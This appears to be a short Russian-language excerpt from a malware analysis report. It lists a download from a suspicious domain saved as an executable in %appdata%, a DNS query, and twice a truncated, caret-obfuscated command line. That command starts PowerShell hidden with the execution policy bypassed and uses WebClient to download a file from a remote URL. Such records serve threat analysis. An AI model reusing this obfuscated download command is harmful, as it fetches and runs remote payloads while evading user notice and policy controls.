Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "p^OWEr^SHe^LL.^e^xe ^-ExECUTiO^NP^oLiC^Y ^ByPa^S^s^ ^-noP^r^oF^Il^e^ ^-^wI^ndowSt^yl^e hi^D^DEN (n^Ew-o^bJEcT S^Ys^TEM.NeT.WeBC^L^ieN^t^).downlO^A^dfiLE^(^'http://www.zo...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /c "p^OWEr^SHe^LL.^e^xe ^-ExECUTiO^NP^oLiC^Y ^ByPa^S^s^ ^-noP^r^oF^Il^e^ ^-^wI^ndowSt^yl^e hi^D^DEN (n^Ew-o^bJEcT S^Ys^TEM.NeT.WeBC^L^ieN^t^).downlO^A^dfiLE^(^'http://www.zo...' (со скрытым окном)